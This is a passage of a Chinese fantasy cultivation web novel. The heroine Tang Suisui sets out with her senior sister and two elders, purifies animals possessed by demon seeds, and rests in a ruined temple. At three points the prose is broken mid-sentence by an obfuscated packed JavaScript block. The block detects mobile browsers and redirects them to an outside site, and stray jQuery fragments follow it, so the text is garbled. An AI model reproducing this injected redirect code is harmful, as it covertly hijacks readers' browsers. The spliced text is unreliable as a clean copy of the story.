“好耶!”汤穗穗也不用跟这些心爱的话本告别,心里更是高兴。她生怕师姐反悔,立马将话本一把拢进怀里,快速地塞到了乾坤袋里。 “对了,”姬忘尘起身往门外走,刚走了两步又停下来,转身看向她,“话本还有其他风格吗?” 姬忘尘方才看的几本话本都是有关情情爱爱的,像麦芽糖般粘牙,腻得很。 “有的师姐,有的!”汤穗穗从方才的话本中挑了几本不是情爱风格的,殷勤地递给师姐。 姬忘尘一边接过话本,一边低头看了身边这个傻乎乎的少女,没压住嘴角的笑容。 汤穗穗跟着师姐走到庭院的时候,却被眼前的景色惊到。阳光洒在庭院中的大树上,娇艳欲滴的花朵压满了枝头,在阳光下争奇斗艳,树下更是落英缤纷。 她忍不住加快了脚步走到树下,恰有山风吹来,粉嫩的花瓣随着风的痕迹飘落。她忍不住伸手,想要留下这抹绝色。 长恨春色停不住。 在她印象里,往年就算正值花期也没有如此夺目的光彩。 “师姐!”汤穗穗抓着花瓣看向师姐,满眼都是对美景赞叹,“往年有这么美吗?” “因为这段时间你不断地将周围的灵气蓄积,所以也影响到了它,”秦无纪也将自己圈养得到山鸡放归了山林,拍了拍手走向两人,笑着问:“都收拾好啦?” “嗯嗯,”汤穗穗收回手,乖巧地点点头,“现在我们就要去看师傅的师姐了吗?” 给厨房、柴房做收尾工作的姚成也走过来,听到汤穗穗的问话,他也不卖关子,“对,但在路上还得让你巩固巩固,怕吗?” “不怕。”刚刚筑基的汤穗穗信心十足,觉得自己已经找到了门道,更何况路上有两位长辈和师姐的庇护,她更不用担心什么。 她想自己赶紧成长,迅速成为师姐那样的人,就像话本里的主角一样行侠仗义,造福一方。 “等我一下——”在准备离开之前,汤穗穗立马折身返回去,她在树下捡起一朵还没被破坏的花朵,小心翼翼地包起来,放到了自己的乾坤袋里。 其余三人看到了她的动作,并没有出声催促,只是在原地有说有笑地等她。她们都不会说这件事“没有意义”或者“多余”,毕竟这只是一件稀松平常的事情。 “好啦好啦!”汤穗穗放好花朵后,蹦蹦跳跳地向她们跑来。 “这次真的好啦?”姚成站在一边打趣,“怎么不给我也留一朵?” “好了好了,我们快走吧!”汤穗穗习惯性地跑到师姐的身边,和姚成拌嘴,“我才不要,姚师舅您就自己去找嘛!” 秦无纪将大门锁好,忍不住也加入到拌嘴中,闹着闹着喊上一直沉默的姬忘尘做裁判,讨问一个结果。 一番闲聊中不知不觉就到了山下土地庙,姚成已经准备好马匹。不过在彻底离开之前,秦无纪还有一些事情要做,让其他三人先到城外等候。 秦无纪熟门熟路地穿过街巷,来到杏林堂,恰巧今日两位大夫都在。陶大夫忙碌着给病患看诊,坐在一旁的姜大夫眼尖,约过人群开到了秦无纪的身影,她立马上前迎接。 “姜大姐——”秦无纪加快了脚步,上前握住了对方的手臂,笑着说,“身体还好吧?” “老婆子身体好着呢!”姜大夫将她引到内堂,心中早有猜测,“……您要离开了吗?” “嗯。”秦无纪点了点头,从袖子中拿出一串钥匙递给她,“多谢。” “当年幸得有仙人相助,才保住了这城中人的性命。”姜大夫颤抖着接过钥匙,心中感慨无限,说起当年的事还是忍不住眼泛泪花。 那时城中突发急症,无论是何药房都无法治愈。就在她们束手无策的时候,路过的秦无纪正好带来了一味稀缺的草药,以该草药为药引入药,这才控制了病症的恶化,直到最后彻底痊愈。而秦无纪也很大方地给她们留下了培育的方法。这才让这种药草在当地稳定生长。 除此之外,这些年来汤穗穗还会给她们带来深山的野生草药,让她们不用自己深入山林。 “哎,姜大姐此言差矣,当年镇上还得是您才能拯救更多的人,而我也只是尽了绵薄之力。还多得您关照才有落脚之处,我等感激不尽。”秦无纪伸手扶住老大夫行礼的手,将自己所做之事轻描淡写带过,“如今到了离别的时候,也物归原主。” 如今姜大夫两鬓已斑白,岁月爬过她的脸上留下蜿蜒曲折的痕迹,比起当年又多了几分疲态。秦无纪看着姜大夫的变化,心中不忍,开口提醒:“您年事已高,还需小心身体才是。” “好、好、好……”姜大夫握住了秦无纪的手,老泪纵横,哽咽着,“仙人此行,也千万保重……” 秦无纪上前一步拥住对方,缓和了对方的情绪,不着痕迹地在她身上留下一道滋养身体的灵气。 告别了姜大夫,秦无纪也走到他们约定集合的地方。山下的花早已凋谢,留下满地枯黄,但树干正冒嫩绿新芽,一片勃勃生机。远远地就看到三匹马就这样拴在旁边的树干上,无事一身轻的姚成坐在石头上眺望远方; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424779|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姬忘尘站在树下,手里拿着一本书籍,汤穗穗蹭在她身边不知道说些什么。 姚成率先回神,看到她走过来,起身拍了拍自己衣服上的灰尘:“走吧。” 姬忘尘收回手里的书,牵了一匹马给秦无纪。 因为汤穗穗还不会骑马,所以这次她就和姬忘尘同乘一匹,不过这次坐在了师姐的前面。 在她们骑马离开的时候,汤穗穗忍不住拧头回看小镇的方向,她没有想象过自己还有离开镇的一天。 “怎么,不舍得吗?”姬忘尘调转方向,让汤穗穗看得更清楚一些。 不过汤穗穗也只是凝神看了一会,将镇上的景色记在脑海中,然后抬头看向师姐,“我们走吧。” 毕竟是曾经生活过八年的地方,等真的要远行时,心中还是会泛起舍不得的情绪。但她决不能就此停留原地,属于她的路还在前方,亟待启程。 姬忘尘重新调转原来的方向,一夹马肚加快了速度,没一会就跟上走在前头的两位前辈,并肩骑行着。 “走吧,下一站,宗门大比。”看到她们跟上后,姚成拉着缰绳打趣汤穗穗:“穗穗有信心吗?” “有!”汤穗穗虽然不知道宗门大比是什么,但莫名被激起了斗志,大声地应和着:“出发!” 秦无纪只看一眼就知道穗穗什么都不知道,脸上更是无可奈何:“穗穗你接受得也太快了吧……你真的听清楚了吗?” “宗门大比,我听清楚了!”汤穗穗认真地强调了一遍,表示自己没有会错意。 “……你知道是什么吗?”看着斗志满满的师妹,姬忘尘也忍不住插嘴,不认为她真的理解了宗门大比的含义。 面对姬忘尘的质疑,汤穗穗偏头看向师姐,理直气壮地回答:“不太清楚,但是我觉得我一定做得到,我不能给师姐丢脸的!” “……为什么不是给我丢脸?”当师傅的秦无纪对汤穗穗显而易见的偏心表示不满。 “嘿嘿嘿……”汤穗穗没有解释,只是看着师姐傻笑。 傻笑的汤穗穗也逗乐了一旁的姚成,他笑得眯着眼,拱火身边的师妹:“师妹,看来穗穗不是很亲你呢——” “滚!”秦无纪瞪了一眼姚成,没好气地骂出口。看着几乎窝在姬忘尘身前的身影,她的视线却停留在姬忘尘身上,心中颇有些感慨,也不自觉地松了一口气。 虽说心里也有些许不畅快,但比起想要汤穗穗亲近自己,她更乐于看到有人能这样亲近姬忘尘。姬忘尘的性子太独了,若是有人能与她作伴,倒也不失为好事一桩。 汤穗穗不知道两位长辈怎么看待她们,她仰着头低声问出藏在心里的疑问:“原来我们是有宗门的吗?” “……”姬忘尘用欲言又止的表情,当做这个问题的答案。 “我们宗门有多少人啊?”汤穗穗知道自己明知故问,马上提起了另一个问题。她很想知道除了师姐之外自己还有没有类似的同辈,就像那天姚师舅和师傅口中提到的那些师姐弟。 “同辈约莫二三百人吧,不算太多。”姬忘尘想了想,凭自己的印象回答了她。 “哦哦,这样……”汤穗穗点点头,对数字她不是很有概念,但是她听懂了师姐后半句。 不算太多。 汤穗穗的眼珠转了一圈,心中美滋滋地盘算着。既然不算太多的话,证明这也是个小宗门,肯定不会有人跟自己抢师姐了。 14. 魔种 在前往宗门之前,长辈们专门绕原路,在不同的山林间穿梭,给汤穗穗找到一些历练的机会。姬忘尘拿着特制的罗盘穿梭在山林中,找到一个又一个被魔种附身的生物,和汤穗穗配合并将其净化。汤穗穗从一开始的完全不适应,到现在已经可以跟上师姐高强度的练习。 “找到了。”姬忘尘将指南收好,并取出环刃拆成弯刀,低声提醒汤穗穗做好准备。 没有等汤穗穗回答,姬忘尘上前去逼出被魔种寄生的野狼,出现在汤穗穗的面前。汤穗穗在这段时间的训练里也和师姐配合默契,马上做出了反应,配合着师姐化解了它的攻势。 几个回合下来,野狼被她们拦在中间,多次进攻失败之后,在魔气的影响下,它也只能无能狂怒,发出一阵阵嚎叫。姬忘尘完全没有被它干扰,站在它身后拿着弯刀截断野狼的退路。 身上满是紫气的野狼来回踱步,它双目赤红,发出粗重的呼吸声,伺机而动。它敏锐地发现姬忘尘不好突破,猛地朝往动作略显笨拙的汤穗穗扑去——好在汤穗穗早有准备,一边灵巧避开野狼的攻击,一边从怀中掏出提前准备好的符箓,往剑上一贴,口中将咒语快速念完,将木剑镀上金光。 这一切做完之后,她抓住机会往野狼身上捅去,一道金光从剑上划过,转而变成巨大的网将野狼捆绑在地上。被金光网束缚的野狼不耐烦地想要从中挣脱出来,不停地扭动着身体,然而越挣扎拘束得越紧。没过多久,野狼浑身力竭诶,只能无力地横躺在地面发出粗重的呼吸声。 姬忘尘站在野狼的面前,口中念出的心法咒语,配合闭眼双手结印。汤穗穗眼睁睁地看着随着师姐的动作,野狼身上的紫气正不断往外拔除着。与此同时,拔除紫气的巨大痛苦导致野狼发出声嘶力竭的哀嚎声,四肢不停地划动地面,想要减缓这种痛苦。 野狼的哀嚎声让汤穗穗不自觉地皱了眉头,手在无意中捏成拳,心里也被揪得紧紧的,有些无法呼吸。 这样的场面这几天她见得多了,但还是有些难以接受。她转头看向面色如常的师姐,她不知道自己还要经历多少次,才能这样面不改色的面对它们的痛苦。 很快,野狼身上的紫气终于被完全拔除,并控制在金网之中。姬忘尘动作不停,紧接着进行净化的操作,直到成团的紫气完全化作淡青色的灵气。然而与上次猛虎不同,这次金网中还留下了一个拳头大小的黑色石块。 还没等汤穗穗发问,姬忘尘一手托着“黑色石块”,又重新掐诀念咒:“天地玄宗,借吾真火,以消祸患。” 话音刚落,她的指尖燃起赤红又夹带着蓝光的火焰,将掌心的黑色石块完全吞噬。不知道是不是汤穗穗的错觉,她甚至听到石块中有若隐若现的声音,有些像是幼兽发出的哼唧声。 这种声音更让汤穗穗感觉十分难受,她下意识望向姬忘尘。后者和她对上眼神,开口解释:“这便是魔种,魔种会模仿宿主幼态求饶。这头野狼已经修炼将近一百年,身上的修为已达筑基。若是不根除,它们都将祸害更多的灵兽,甚至影响到人。” “况且,就算不拔除魔气,它的肉身也已被魔种侵蚀,如今不过是一具无灵的躯壳。”汤穗穗随着姬忘尘的视线放到再次倒在地上的野狼身上,方才死亡的野狼身躯不见皮肉,已经完全退化成一具白骨。 “这……”汤穗穗惊呼出声,捂住了自己的嘴,她以为拔除魔气之后野狼还能照常生存,“怎么会这样……” “被魔种寄生之后,魔气会完全吞噬它的灵智,轻则影响附近的土地、空气,重则直接影响它,指示它去吞噬无辜百姓体内的灵气。”姬忘尘看出汤穗穗的不忍心,但这件事不由得她们松懈。在不断寄生扩大的魔种面前,她们必须心狠,不然只会影响到更多的地方:“倘若我们不加干涉,等魔种将其完全吞噬后,会破开它的‘身体’再寻下任宿主,进一步生长,重复我方才说的,造成更多生灵涂炭。” 简单来说,魔种就像寄生植物,除非将宿主的全部吸食殆尽,否则决不罢休。等这任宿主死亡,就去寻找下任宿主,循环往复,不断壮大自己的能力,无穷无尽。 “我明白了。”汤穗穗闷闷地回答,她凝神看着姬忘尘跳动的火焰,听着它伪装的求饶,再也不能在她的心中掀起丝毫波澜。 比起怜悯如今假模假样的哀嚎,不如可怜那些被无辜寄生的宿主。正因为魔种的存在,它们不仅被夺走了生命,还化作滋养的养料,不得善终。 这样危害的存在确实不值得有任何怜悯。 “啪——” 一声不太明显的爆裂声拉回汤穗穗的思绪,她看到师姐掌心的石头同时裂开,凝聚其中的魔气重新化成灵气逸散在空气之中。 “已经……好了吗?”汤穗穗望着天空不解地发问,她只觉得到处都是魔种的痕迹。“可是师姐,它最终不是还是在空中吗?魔种究竟是什么?” “魔种是魔气凝结的形态,类似我们能将灵气蓄积成丹,魔气也是如此。方才的声音意味着魔种已经被三味真火完全烧毁,最后逸散的是形成魔种所需的魔气。”姬忘尘拍了拍手,拍掉了手中残留的灰尘,进一步解释:“因为魔种的彻底毁坏,同源的魔气也就化成灵气散开。换句话说,如果魔种仍存在,这部分的魔气也不会散开。” 清楚了魔种之后,为了保险起见,姬忘尘又一次掏出罗盘,在周边做了最后的监测。 “师姐,你手中这个……?”汤穗穗凑到师姐身边,好奇地看向师姐手中并无变化的罗盘。这个罗盘和她之前见过的相差无几,她们也是根据罗盘才定位到了许多被魔气影响的动物。 “这是指魔罗盘。往其中注入灵气之后,它就会自动指示有魔气波动的方向。”姬忘尘给汤穗穗演示了一遍,随着灵气的注入,罗盘上的指针转过一圈,停留到了原点,“如果有魔气波动的话,指针的颤抖会很明显。” 汤穗穗认认真真地点头,但因为她现在还不能自主地调用灵气,所以也只是听着师姐的描述,大概理解一下。 “走吧。”确认再无魔气信息之后,招呼汤穗穗离开这里。 没一会,两人就回到两位长辈的歇脚处。 秦无纪正和姚成说些什么,看到两人回来时,脚步比想法更快一步上前。当她看到又是灰头土脸的汤穗穗,下意识翻找出手绢轻轻擦掉她脸上的灰尘:“怎么样,还适应吗?” 两位长辈本着巩固汤穗穗技艺的心思,打定主意专门转道去有魔气需要净化的地方,然后由姬忘尘带着汤穗穗,在实战中巩固所学得的心法与武艺,姬忘尘对此并没有丝毫异议。 “嗯嗯,我们这次净化了魔种!”汤穗穗仰着脸任师傅擦着自己脸上的脏污的同时,高兴地分享这一次的经历。秦无纪从来不会嫌弃她啰嗦,只会耐心听她分享每一次的经历,偶尔给她指出一些需要改善的地方。 虽然每次净化都是由姬忘尘收尾,但汤穗穗已经从一开始的不适应和惴惴不安,到现在逐步突破自己,至少在武艺上进步飞速。至少她可以很骄傲地说,自己不仅没有拖后腿,而且还能帮上师姐的忙。 看着面前手舞足蹈的汤穗穗,秦无纪收起手绢,伸手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424780|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了点她的额头,露出无奈又宠溺的笑容:“那最近的心法呢?练得怎么样了?” 汤穗穗总是以“白天很累,晚上回自己加练”作为借口,推脱了秦无纪一次又一次的检查,冷不丁听到秦无纪开口,汤穗穗僵硬着身体起身,错开了长辈关心的眼神,挠了挠头了搪塞着:“我、我很好啊!” “真的吗?”秦无纪注意到她明显有事的表情,没有开口点破。 “当然是真的了!”汤穗穗换回之前那副没心没肺的样子。 然而她自己知道,在她在武艺得到训练的同时,她也感觉到自己体内的灵气蓄积的速度变得缓慢,甚至有停滞的迹象。 她不确定是不是自己的问题,也不太想开口询问长辈们。 ……其实还有一个原因,汤穗穗可以在历练中感知到自己的武艺增长,但因为现在筑基期的缘故,她感觉不到体内灵气蓄积究竟有什么作用。 对她来说,灵气更多只是滋养着她的身体,也不能真的做到什么,更别说帮到师姐了。与其浪费时间不断在修为的增进上,还不如夯实武艺基础,毕竟后者的变化更直观也更实用。 至于灵气,差不多就好,迟早能增进的。 所以,她也毫无心理负担地抱着师傅,仰着面庞撒娇:“我有问题肯定会询问您的呀,我现在好着呢!” “那就好。”秦无纪伸手点了点她的眉心,还是将喉头的几句唠叨咽下。 在她看来,汤穗穗是一个有自己主意的孩子,既然她有自己的想法,她也不会过多的干涉。秦无纪自己本身就不是很擅长教导的性格,虽然说姬忘尘是她的门徒,但她更多是靠自己历练和领悟不断跃升,完成了不同阶段的突破。 或许让汤穗穗跟在姬忘尘的身边,两个年纪相差不远的年轻人可以互相指导指导。 没说几句,汤穗穗又找了理由离开,秦无纪也没有再说什么。她忍不住望向姬忘尘的方向叹气,脸色变得十分懊恼,心情也变得沮丧。 不管是姬忘尘还是汤穗穗,她都不知道要怎么更好地关心她们的状态,自己的这个家长真的也太失败了。 在秦无纪和汤穗穗闲聊的时候,姬忘尘独自站在一边,冷眼看着两人的互动,伸手有一下没一下地抚摸着身旁的马匹。 姚成朝她走了过来,对眼神游离、明显在出神的姬忘尘开口:“最近怎么样?” 姬忘尘垂眸,拉回自己的思绪,向身旁的姚成,黝黑的眼珠写满了疑问,好像在问“什么”。 “怎么我还不能关心你了?”姚成看着她的神情觉得有些好笑,自己以前怎么没发现姬忘尘是这样的性格。他挑了挑眉,把话说明:“你、最近和穗穗,出去历练感觉怎么样?” “我很好。”姬忘尘这下懂了,坦然地回答。只不过在她心中还有一些感觉,她转头看向兴高采烈的汤穗穗,犹豫再三还是开口:“汤穗穗很聪明。” “聪明不是好事吗?”姚成明显听出来姬忘尘的这句话并不是什么赞赏,反而隐隐含着担忧。 姬忘尘摇了摇头,她在实战中看到了汤穗穗身上明显的缺陷的短板,短期内或许还不是什么问题,可倘若一直不做改变,最终会形成很明显的漏洞。 不过她不会让对方也按照自己的训练模式,因为知道自己的方式不适用于每一个人,她相信两位长辈有更好的教习方式。然而她也看得出来,汤穗穗太聪明了,只要她想,她可以把师傅哄得服服帖帖,然后达到她的目的。 “……我怕她,反被聪明误。”姬忘尘犹豫再三,还是将心中的担忧讲出口。 15. 重叠 “师姐,快看快看,前面是不是有一座小房子?!”昏昏欲睡的汤穗穗忽然看到前面有座小房子,立刻醒了神,一手指着前方一手扯着姬忘尘的衣袖兴奋地开口。 这段时间几人都奔波在山林之中,并非每天都能找到歇脚的地方。虽然汤穗穗的身体被灵气滋养着,但她还是遵循着以往的生活方式,再加上连日餐风露宿,她现在只想找块地方好好地睡一觉。 此刻,吹了好几天山风的汤穗穗终于看到能挡风的地方,险些喜极而泣。 “看来这就是我们今天的歇脚处。”姚成顺着汤穗穗的指尖看去,确实前方有一座荒废的建筑,他一夹马肚,率先过去检查。 另外两人对视一眼,也随即跟上。 等几人走进才发现,原来那是间已经荒废的寺庙,原本的装潢就很敷衍,如今更是狼狈。连寺门的招牌也落在地上,任过往行人随意踩踏。 天色近晚,几人栓好了马匹,今夜也就宿在荒寺中。 这座寺庙规模不大,也就是简单的一进院落,墙角爬满了杂草,院中放置半人高的香炉;与大门相对的殿中里本应放置有佛像,此时却空无一物;殿中爬满了大大小小的蛛网,面前摆放供品的赤红的供桌落了厚厚一层灰尘。 汤穗穗乖巧地跟在师姐身后,上下打量着这一副荒废的景象。 “前朝某任皇帝崇信佛学,大举兴建佛寺。因此被某些别有用心之人钻了空子,也趁机捞一笔横财。王朝倾覆,这些滥竽充数之人也就弃庙而逃,留下空寺任其荒废。”姚成收拾出一块供几人歇息的地方,随意地靠着墙坐下,招呼汤穗穗,“穗穗过来吧,我收拾好了。” “师舅,你是怎么看出来,这里是那些滥竽充数的人建造的呀?”汤穗穗马上跟过去,好奇地坐在姚成身边。 “很简单。”姚成拿出清洁的符咒清理了两人的手,同时从寺庙的布局、建造的位置跟汤穗穗仔细分析。 “没想到建造寺庙是这样的……”姚成的讲述妙趣横生,汤穗穗也听得十分入迷,“师舅,你真的懂得好多哦,讲得也很有意思!” 她以为就跟建房子差不多,也就是摆放的布置会稍微讲究一些,没想到差别的不是一星半点。 “哪里哪里,我也就看得书比较杂。”姚成一边说着谦虚的话,一边笑得眼睛眯起来。 “他啊,就喜欢跟人讲故事。”秦无纪从乾坤袋拿出干粮,分给了几人,一边说着,“我们当时都说,要是他没有上山,指不定是什么出名的说书先生。” 在姚成和汤穗穗聊天的同时,姬忘尘从乾坤袋拿出提前准备好的香,点燃后供奉在香炉中。 “又是烤饼……”汤穗穗皱巴着脸接过烤饼,可怜兮兮地看着姚成。 考虑到路上要花费较多的时间,即使乾坤袋可以用灵力延缓时间流逝,但为了保险起见还是准备了简单的烤饼之类的干粮。 姚成已经啃着手里的烤饼,看到汤穗穗的眼神,无奈地耸了耸肩:“没办法,在野外嘛,条件有限,有什么就吃什么吧。” 汤穗穗自己也明白这个道理,只能对着烤饼做了极长的心里准备,在脑海中想象自己正在吃焖肉,然后闭眼一口啃了下去,用力嚼了嚼然后咽下去。 在旁边的姚成看着汤穗穗这一套动作,更是笑得乐不可支。秦无纪用手拍了姚成一把,用眼神示意他收敛一点。姚成收到自家师妹的眼刀之后,灰溜溜起身给师妹挪了个位置。 秦无纪挪了位置,靠得离汤穗穗更近,放缓了声音说:“再坚持坚持,过两天我们就回镇上去,吃点好吃的。” 其余三人都是从这种环境中长大的,如今汤穗穗所经历的不过是她们某段生活的缩影。即使她们已经习以为常,但看到汤穗穗这个模样,秦无纪还是忍不住心软,想着要不要更换路线。 毕竟她们只是想要汤穗穗成长起来,而不是非要吃苦,吃苦和成长又不对等。 姚成拿着烤饼起身,看到了院中练刀的身影。姬忘尘总是这样,似乎完全不知疲惫,一有空闲就会拿出自己的兵器不停地练习,总是把自己崩得很紧。 月光照到她锋利的刀刃上,镀上一层洁白的清辉。 姚成坐在房间外的台阶上,看着她灵活的身影,手中的烤饼也吃得津津有味。可看着看着,她的身影忽然和脑海中的一个人重叠,美味的烤饼也没了滋味,他错开目光,两三下把手里的饼吃完。 姬忘尘一套打完,姚成手里的饼也吃完了。她方才关注着对方的一举一动,以为是自己的招式间出了什么差错。她收刀走进对方,恭敬地开口:“姚师舅,我方才是有什么需要改进的吗?” 姚成望向姬忘尘虚心求教的双眼,对方身形站得如青松笔直,一身暗色衣装更衬得她肤白似雪,让他忍不住想起故人。 那时骄傲的小师弟也是这般站在他面前,一双眼写满了坚定:“姚师哥,你说我还有哪里需要增进的地方吗?” 姚成自认不是什么天分极高的人,而小师弟正好相反,他是人尽皆知的天才。或许天才总是相似的,那时的小师弟也和姬忘尘一样,沉浸在提升武艺和修为中。虽然入门的时间最短,但很快就赶上了其余四人的进度,稍逊于大师姐。 每当小师弟跑来询问姚成的时候,他心中总会沾沾自喜:看,连天分极高的小师弟也要询问他这个师哥建议。 而他为了满足自己的虚荣心,总是给对方挑刺,彰显自己作为师兄的“本事”。 后来,姚成总是会忍不住地想,是不是自己的行为让对方钻了牛角尖,才导致他最后走上了那条极端的道路? “……姚师舅?”姬忘尘的声音拉回了姚成的思绪,他凝神看着面前这个可以独当一面的小辈,就好像看到了多年前的小师弟。 “……其实你没必要把自己崩得那么紧,你已经很厉害了,你远超我们这群人。”姚成鼻尖一酸,不自觉地眨眼压制住落泪的情绪,藏在袖子里的手紧紧握成拳,“比起你不断在武艺上的精进,我更希望你能好好地放松,劳逸结合才是。” 如果当年他没有专注于挑小师弟的问题,不让他紧绷得像拉紧的弓弦,是不是他的结局就会完全不同? “啊?”姬忘尘完全没有想过这方面的问题,“放松……该怎么做?” “很简单啊,做一些能让你开心的事情。”姚成笑着抬手拍了拍对方的肩膀,不着痕迹地抬手擦掉眼角的泪珠,若无其事地开口,“除了修炼。” “……看话本,算吗?”姬忘尘思考了好一会,想起了当时在汤穗穗那里看到的话本,话本的内容让她朝思暮想。但当着长辈开口,她分明没有做错事,却还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424781|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是心虚地低着头。 “话本?当然算啊,是汤穗穗给你的吧?”姚成根本不用多想,话本这种东西,也就只有古灵精怪的汤穗穗会有了。 他的眼神忍不住瞟向抱着秦无纪手臂的汤穗穗身上,也轻轻地松了一口气。 或许汤穗穗自己并不知道,她这个师妹,比他们这些长辈还要合格。 室内的两人并不知道室外进行了一番怎样的对话,汤穗穗还缠着秦无纪,有时候说起姬忘尘凌厉的剑招,表达了自己的羡慕;又提起自己今天超负荷运动特别困。说到最后,她还不忘和秦无纪使出撒娇绝技:“师傅,我今天好累了,能不能减少一点任务量啊?” 一直跟着她思绪的秦无纪终于等到她最终的目的,无可奈何地伸手点了点她的额头:“你啊,就知道用这招。” “师傅——”汤穗穗装模做样地打了一个哈欠,然后靠在秦无纪的手臂上,拉长了音。 秦无纪哪接受过这般攻势,嘴硬着说:“不可以再拖了,我已经三天没检查了。” “师傅——我会乖乖的,可是我今天真的很困了……”汤穗穗靠在秦无纪的手臂上,仰头看着师傅的脸,可怜巴巴地求饶:“我保证我会自己巩固的,师傅——” 秦无纪知道自己不能任由汤穗穗胡来,但是面对她这副可怜兮兮的模样又完全硬不下心肠。 正好走进来的姚成碰巧就看到了这一幕,想起了姬忘尘的提醒。熟识秦无纪的他一眼便知对方已经在答应的边缘,他冷哼一声吸引了两人的注意。 “你哼什么?!”正当她左右为难的时候,姚成的到来给了她出气口,秦无纪自然地翻过白眼,她当然知道姚成看穿了自己的心软,“站着说话不腰疼。” “对对对,站着说话确实不腰疼,你要不要也试试?” 两人一言不合就互呛起来,这些天来两人这种状态也已经成为了常态——更准确来说,这是曾经他们最熟悉的相处模式。坐在一旁的汤穗穗在姚成过来的时候,就马上换了乖巧的面孔坐在一旁,降低自己的存在感。 不知道两人讲到什么地方,两人的情绪都变得十分激动。 “好好好,说白了你看不惯我是吧!”秦无纪叉着腰越说越来气,“你说得那么轻松,那你来教穗穗不就好了吗?” “我教就我教,难道我会比你差吗?!”姚成毫不客气地回嘴。 这次换成秦无纪冷哼,阴阳怪气地怼回去:“姚长老可得好好展示展示自己的实力才是。” “穗穗!”秦无纪对穗穗柔和了语气,提起对方的时候咬牙切齿地开口“他说你师傅我没本事教你,今天开始就跟着这位姚、大、长、老学心法。” “没有没有,师傅您还是很厉害的!”汤穗穗习惯两位的“交流方式”,立马打了圆场,避免气氛进一步恶化,“这段时间您辛苦了,我跟着姚师舅学学也是应该的。” 两个长辈自己的恩怨没必要和小辈置气,互相给了对方的白眼,就顺着汤穗穗的台阶走了下去。 姬忘尘习惯性地坐在庙外,手上拿着之前汤穗穗给她的话本。但她的注意力并不在话本上,而是将视线放到了室内的三人身上,也因此三人互动被她尽收眼底。她收回望向几人的目光,靠在门旁的石柱上仰头看向夜空,连自己都没有发现上扬的嘴角。 16. 临沧城 “咳咳,穗穗,那我们就开始了?”接过教授任务的姚成清了清嗓子,对面前乖巧坐好、摆了一副听话面孔的汤穗穗开口,“你师傅教到哪了?” 汤穗穗点点头,凭着记忆念出了最近学的心法,紧张兮兮地盯着姚师舅的脸,希望从他的脸上看出一些表情。其实她有些心虚,不知道是不是师傅看出了她最近的心不在焉,这才换成师舅来教学。 姚成的教学方式和师傅不太一样。比起师傅生涩地教学,在教导方面师舅更显得游刃有余。他更注重系统性的学习,几乎可以点出汤穗穗当前的某一点瓶颈,与此同时他也注重心法与实际的结合。他可以很快发现对方走神的地方并做出提醒,也在一些容易出现差错的地方及时纠正,避免她走进误区。 姚成在寻常相处中一贯随和,但换到教学上他便不那么好商量了,汤穗穗不太敢像对待师傅那般,靠装乖随意拖延课业。 在姚成接手后的一段时间里,汤穗穗在心法的学习上确实获得了较大的进步。 在不远处观察两人的秦无纪也将汤穗穗的变化看在眼里。看到汤穗穗有明显的进步,她轻轻地呼出这几天堵在胸口的闷气,认为自己做出了一个不错的决定。 那天对姚成说的话并非全是赌气,她自己也觉得有些时候对汤穗穗过于纵容,不好掌控分寸。虽然姬忘尘和汤穗穗都是她从小养到大的,但两人的性子有着天壤之别。 前者性子更冷,又碰巧有了那档子事,因此她总是刻意地和所有人保持着距离,交给她的任务无一不被超量完成。她自己也在私底下好学肯练,在一次次除魔中得到提升。作为师傅,秦无纪教给她的除了很基础的部分,也只剩下口头上的提醒。 而后者从小就比较自来熟,总是在她面前卖乖讨巧。她不仅能用甜言蜜语把人哄得服服帖帖,还会身体力行地去为别人分担些什么。这八年来,秦无纪看着她长大,总把她还当成一无所知的稚□□孩。 虽然两个孩子的性子相去甚远,但在朝夕相处间,秦无纪都将她们视同己出。或许母亲的情感大抵都是类似的,既希望她们能早日茁壮成长,但又很难狠下心来,当心自己做的过分伤了孩子的心,也就更束手无策。 正当她一筹莫展的时候,突然到来的姚成如同打瞌睡时送上了枕头,正好可以补上秦无纪空缺的那部分。姬忘尘考虑到对方在宗门待的时间更长,也接触过不少不同性格的孩子,对于教导的这一方面,他应该会更有方法。 秦无纪还在愁怎么开口时,正巧姚成又给了她一个开口的机会。她还是第一次发现自己不靠谱的师哥这么善解人意,所以顺其自然地将教学的的任务甩到对方身上。 她回神再一次望向那边转换到认真状态的姚成,但对方的形象在她心中已经根深蒂固,让她不自觉浮起一丝怀疑。 ……他应该可以的吧? 秦无纪下意识地转头,低声询问坐在自己身边的姬忘尘:“忘尘,你觉得呢?” 听到秦无纪的问话,姬忘尘将视线抬起,凝神观察了一会正在教学的两人状态后,转头看向秦无纪,认真地开口:“您想听到哪个答案?” 